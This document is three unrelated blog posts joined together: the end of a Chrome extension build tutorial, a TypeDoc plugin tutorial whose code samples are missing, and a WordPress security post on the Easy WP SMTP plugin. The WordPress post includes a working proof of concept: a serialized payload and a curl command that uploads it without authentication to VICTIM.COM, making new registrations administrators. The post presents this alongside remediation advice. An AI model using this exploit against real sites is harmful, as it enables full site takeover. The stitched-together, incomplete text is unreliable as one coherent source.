    "build:tailwind": "tailwindcss build src/style.css -c ./tailwind.config.js -o dist/style.css",
    "watch": "NODE_ENV=development yarn build:tailwind && cp src/manifest.json dist/ && parcel watch --no-hmr src/{background.js,content-script.js}",
    "build": "NODE_ENV=production yarn build:tailwind && cp src/manifest.json dist/ && parcel build src/{background.js,content-script.js}",
    "zip": "zip -r chrome-extension.zip ./dist" 👈
  }

If you haven't installed zip yet, please do so:

• MacOS: brew install zip
• Linux: sudo apt install zip
• For Windows, you can use the powershell command Compress-Archive similarly: powershell Compress-Archive -Path .\\dist\\ -Destination .\\chrome-extension.zip

Now all you have to do is head to Chrome Web Store Developer Dashboard to set up your account and publish your extension ?

• You can find the complete demo for this tutorial hosted on my GitHub account here

Conclusion

In the end, Chrome extensions are not that different from web apps. Today you learned how to develop an extension using the latest technologies and practices in web development.

Hopefully this tutorial helped you speed up your extension development a little bit!

If you found this helpful, please Tweet about it and follow me at @marouanerassili.

Thank you!

This topic aims to cover the basics on how you could extend the TypeDoc library functionality and what are the opportunities that it provides.

For those of you who are not familiar with TypeDoc, this is a library which allows you to generate an API documentation based on your comments from your TypeScript source code.

By default there are two possible outputs:

• Static website
• JSON file.

If you want to find more about configuration and terms of use please refer to the README.

The problem I have encountered

The lack of documentation is a really common scenario, and this was the problem we faced. As most of you probably know, debugging and digging into any kind of software with exploratory purposes takes time. That’s why I decided to contribute and share the knowledge I’ve gained during the development of a plugin which provides users with the ability to localize their documentation into multiple languages.

Good example here is the Japanese API documentation that Ignite UI for Angular library provides.

So I’m going to give a rough explanation of how TypeDoc works and what was the approach that was taken during the development of that plugin.

I won’t go much into detail about how the library works. Instead I will try to expose only the most important aspects of the execution flow which, in my opinion, are the base of the “tree” from where you can start exploring and diverting into different “branches”.

So without wasting more time, let’s move on to the essential part.

How typedoc works.

Several components/classes you need to know about:

• Application:
  The default main application class.
• Options:
  Aggregates and contributes configuration declarations, declared by components or plugins. Parses option values from various sources (config file, command-line, args, etc.)
• Converter:
  Compiles source files using TypeScript and converts compiler symbols to reflections.
• ProjectReflection:
  A reflection that represents the root of the project.
  The project reflection acts as a global index. You may receive all reflections and source files of the processed project through this reflection.
• Renderer:
  The renderer processes is a representation of ProjectReflection, using a BaseTheme instance and writes the emitted html documents to an output directory.
  Simply, the renderer is used for generating the documentation output.
• EventDispatcher:
  A class that provides a custom event channel.
  You may bind a callback to an event with ‘on’ or remove with ‘off’.
• Logger:
  The logger provides you with the ability to log without interruption any kind of errors or messages like success, warn, log, verbose, etc.
• PluginHost:
  Responsible for discovering and loading plugins.

Typedoc Execution Flow:

• Application tries to load all TypeDoc plugins by searching for ‘typedocplugin’ keyword declared into your package.json file.

• Converter: Using TypeScript API in order to compile the referred project. If any compile errors are detected in the project, the convert process ends with the error that has been encountered.
  From the above diagram you can see that during the Resolve Reflections process, which comes right after the compilation process, the EventDispatcher emits several events which are a good prerequisite for manipulating or retrieving data.
  Once the conversion process ends we receive a ProjectReflection object which represents the project itself with all files and their comments.

• Options: Determines what would be the output of your documentation based on the options you have passed. There are two variants:
  1. JSON file: Represents a stringified version of ProjectReflection object. This is what the Serialization does
  2. Static HTML website.
• Renderer: At first the renderer needs to ensure that the Theme that corresponds to the output static website and the output directory, are set up correctly. If everything is fine, the renderer starts mapping the Reflections with the Templates from the Theme.
  Here the RendererEvent emits two events BeginRenderer/EndRenderer suitable for manipulating the output data.
• Finish Rendering: This is where the process ends and the output of generated documentation is provided.

After that rough explanation and visualization of the execution flow we are ready to move on and see how to actually proceed with the extensibility.

Extending typedoc

Set up the project:

The very first step we need to take is setting up a node project with npm.

Declare that keyword typedocplugin into your package.json:

Then we need to export a module which would serve as an entry point of the project. How does TypeDoc load the plugins? It simply searches through all node_modules packages and their package.json file, and when that keyword is encountered it requires that package and executes it as a function by passing a reference to the main Application class.

Once all those steps are performed we have the freedom to manipulate the execution process and the output data as we want ?.

Approaches and examples

As I mentioned earlier, all the knowledge I share in this article was gained during the development of a localization plugin, which I firmly believe takes full advantage of what TypeDoc offers as an opportunity to extend. So all the examples and approaches below are inspired by the idea and the source of that “creature”.

In order to understand how it works, you can go through the README file. It is enough to understand the first 3 steps.

Let’s start with the main module (index.ts) file which typedoc executes once it requires the plugin. As we already know, a reference to the default Application class is passed through the require callback, where you have access to all those main components we have talked about in the How TypeDoc works section.

Through all those component references you are able to register your own custom components, and depending on what they extend, a different set of events are provided.

Sometimes just a theory is insufficient, so let’s move on and see how things happen in practice.

Here are the four most important things that we are going to review:

• Register our own options.
• Manipulating or retrieving the data during the conversion process.
• Manipulating or retrieving the data during the renderer process.

Register our own option.

As we already know, all of the component registrations happen in the main module. The important part here is that, in order to register a component within the options context, you need to extend the OptionsComponent class.

The custom definition of the OptionComponent looks like this:

At the end you need to add that declaration into the options that the application provides.

You can refer to the README of the extension/plugin we are talking about and see what kind of options are exposed and how they contribute to the process.

Manipulating or retrieving the data during the conversion process

The registration process here is the same, but instead of extending OptionsComponent you need to extend ConverterComponent.

As you probably understood, the way we interact with the data is through the events that the EventDispatcher emits. So all the events that you can subscribe for within that context can be found and accessed through the Converter.

We will take a look within the context of the EVENT_RESOLVE event callback. The event gets triggered every time when TypeDoc resolves a Class, Interface or Enum or (method, property, etc.) part of a particular Class, Interface or Enum. Wait what?

Okay It’s a bit of confusing, but the concept is as simple as iterating an array.

Let’s take an example of a simple class.

The event will emit four times referencing each unit per this declaration, transformed in DeclarationReflection:

1. Emits the class with reference to all his children (b, c, d).
2. Emits the property b with reference to his parent (class A).
3. Emits the property c with reference to his parent (class A).
4. Emits the method d with reference to his parent (class A).

Hope everything is clearer now!

Let’s see how we can subscribe for the emitted events:

Then in the resolve callback you can see how the comments per every Class, Enum and Interface are taken and stored into a JSON file which represents each unit (Class, Enum, Interface) separately. For instance if we have two classes A and B, the output folder would contain two JSON files A.json and B.json.

The next example represents the moment where the comments per every getter and setter are retrieved which is the next unit of the Class declaration we talked about a little earlier.

These are just examples, of course — you can do whatever you want here.

Manipulating or retrieving the data during the Renderer process

Here we have the same concept as the Convert, but of course we need to extend another class. Guess what — the name of the class is RendererComponent, and the object that holds the event references is RendererEvent.

The variety of the events is less than the Converter but the information that the events provide is more than enough.

Subscription is the same:

Here, the behavior of the RendererEvent.BEGIN event is a bit different. It gets triggered just once when the Renderer process has just started. Then all of the reflections that the Converter has created are taken, and with the “power” of the forEach we are going through each DeclarationReflection and processing it:

What does the process do? It just takes the location of the JSON files that the Converter has built and replaces the content from those JSONs with the content in the reflection.

The example here again refers the manipulation of the getters and setters per current Class:

Of course again here you can improvise and do whatever you need.

Conclusion

This is probably only one third of what the plugin does. There is much more that I can show and expose as functionality. For example how we came up with a solution for manipulating the hardcoded strings within our custom theme. But the purpose of this blog is focused on the extensibility and manipulation of the data. So if you have further questions or interests you can let me know in the comments below.

I believe you would be offended if you found your website redirecting to a spam website, wouldn’t you? Alas! And you would even feel more snubbed if you had taken every preventive measure for your WordPress website. True? In this digital world, 30,000 websites are hacked daily and today might be your day. Thus, it becomes imperative to find a solution for the day of the attack.

To start with, you need to identify how the attacker was able to insert malicious code so that the website redirects to a phishing or malware website and grabs the traffic. Recently, when we faced the same issue we found that the hacker got access through the WP SMTP plugin.

The well-known Easy WP SMTP plugin that has 300k monthly active installations is prone to a zero-day vulnerability. It has given rights to an unknown user to access and modify the WordPress settings.

“Almost 30% of online websites are developed in WordPress, making it the best content management system. However, if we look at the popularity shadow then it becomes the first choice for hackers.”

The Easy WP SMTP plugin is gaining popularity due to the zero-day (0-day) vulnerability unveiled recently. The plugin that has high download numbers has an even higher attack success rate. Prior to learning the solution, let’s learn about this plugin in detail.

Easy WP SMTP Plugin Zero-Day Vulnerability

Easy WP SMTP came into existence to make the email sending process easy from your WordPress website. It was successful even with its purpose of sending mail through SMTP instead of native wp_mail() function.

Like other WordPress plugins, the Easy WP SMTP plugin has its administration page which enables you to specify data required for SMTP configuration. Along with this, there is a function to import and export settings, and that’s where the hacker can easily get in.

Other than this, there are several more attack vectors that lead the attacker to the administrator level or to a sensitive data leak like SMTP credentials.

Consider the following code:

add_action( 'admin_init', array( $this, 'admin_init' ) );......function admin_init() { if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {   add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );   add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) ); }

//view log file if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {     if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {  $log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];  if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {      if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {   wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );      };  }  $logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );  if ( ! $logfile ) {      wp_die( 'Can\'t open log file.' );  }  header( 'Content-Type: text/plain' );  fpassthru( $logfile );  die;     } }

//check if this is export settings request $is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT ); if ( $is_export_settings ) {     $data      = array();     $opts      = get_option( 'swpsmtp_options', array() );     $data[ 'swpsmtp_options' ]   = $opts;     $swpsmtp_pass_encrypted    = get_option( 'swpsmtp_pass_encrypted', false );     $data[ 'swpsmtp_pass_encrypted' ]  = $swpsmtp_pass_encrypted;     if ( $swpsmtp_pass_encrypted ) {  $swpsmtp_enc_key   = get_option( 'swpsmtp_enc_key', false );  $data[ 'swpsmtp_enc_key' ]  = $swpsmtp_enc_key;     }     $smtp_test_mail    = get_option( 'smtp_test_mail', array() );     $data[ 'smtp_test_mail' ]  = $smtp_test_mail;     $out     = array();     $out[ 'data' ]    = serialize( $data );     $out[ 'ver' ]    = 1;     $out[ 'checksum' ]   = md5( $out[ 'data' ] );

$filename = 'easy_wp_smtp_settings.txt';     header( 'Content-Disposition: attachment; filename="' . $filename . '"' );     header( 'Content-Type: text/plain' );     echo serialize( $out );     exit; }

$is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT ); if ( $is_import_settings ) {   $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );   if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {   echo $err_msg;   wp_die();  }  $in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );  try {   $in = unserialize( $in_raw );   if ( empty( $in[ 'data' ] ) ) {     echo $err_msg;     wp_die();   }   if ( empty( $in[ 'checksum' ] ) ) {     echo $err_msg;     wp_die();   }   if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {     echo $err_msg;     wp_die();   }   $data = unserialize( $in[ 'data' ] );   foreach ( $data as $key => $value ) {     update_option( $key, $value );   }   set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );   $url = admin_url() . 'options-general.php?page=swpsmtp_settings';   wp_safe_redirect( $url );   exit;  } catch ( Exception $ex ) {   echo $err_msg;   wp_die();  } }}

When the user wants to enter the admin area, the function admin_init() in the script easy-wp-smtp.php is called via the admin_init hook. This helps the admin to edit each and every function, from adding or deleting the log to importing or exporting the plugin configuration in the WordPress database.

When you call the function it does not check the user capability and therefore any logged-in user can trigger it. The limitation here is that it can be implemented by any unauthenticated users, as the Easy WP SMTP is built using AJAX and admin_init hook can also be implemented on admin-ajax.php as described in the WordPress API docs.

So now an unauthenticated user can easily send an AJAX request, for example action=swpsmtp_clear_log, to call the above function and run the code.

Therefore, to safeguard your website, we recommend that you always update the Easy WP SMTP plugin to the latest version available.

Note The Proof Of Concept

The following two-step proof of concept allows you to create a user ID where you can get access to admin and make the changes to remove the malware code. In short, it allows you to take complete control over the website.

Here, you need to use swpsmtp_import_settings in order to upload a file that has a malicious serialized payload. This file helps the user register and set the default role to “administrator” in the database.

1. Create a file with name “/tmp/upload.txt” and add this content to it:

a:2:{s:4:”data”;s:81:”a:2:{s:18:”users_can_register”;s:1:”1";s:12:”default_role”;s:13:”administrator”;}”;s:8:”checksum”;s:32:”3ce5fb6d7b1dbd6252f4b5b3526650c8";}

2. Upload the file:

$ curl https://VICTIM.COM/wp-admin/admin-ajax.php -F ‘action=swpsmtp_clear_log’ -F ‘swpsmtp_import_settings=1’ -F ‘swpsmtp_import_settings_file=@/tmp/upload.txt’

Other details you need to pay attention to:

• Take care of Remote Code Execution via PHP Object Injection, as Easy WP SMTP runs using unsafe unserialize() calls.
• Mark on different logs as the hacker can change the log filename.
• By exporting the plugin configuration that includes SMTP host, username, and password, the hacker can use it to send spam emails.

Steps To Remove Malware WordPress Redirects

• Change passwords and check registered users
• Find and remove the unwanted plugins and themes from the website
• Check the website completely with appropriate tools
• Find the right WordPress plugin to scan your website files
• Thoroughly check all the impacted files
• Reinstall your WordPress files, plugins, and themes
• Resubmit the website to Google

Other Important Recommendations

If you are using the old version of Easy WP SMTP plugin, check the following things:

• Check the Settings Page and ensure nothing is flawed from URL to User default role.
• Check for new Admin accounts, email addresses and more.
• Change all passwords
• Change your SMTP password too, as the hackers may now have the password.
• Install a web application firewall for better security.
• Ensure you don’t install plugins or themes that are not known
• Update all your themes and plugins monthly
• Make sure the installation of WordPress is regularly backed up
• If required, change the web host to one that has better WordPress security.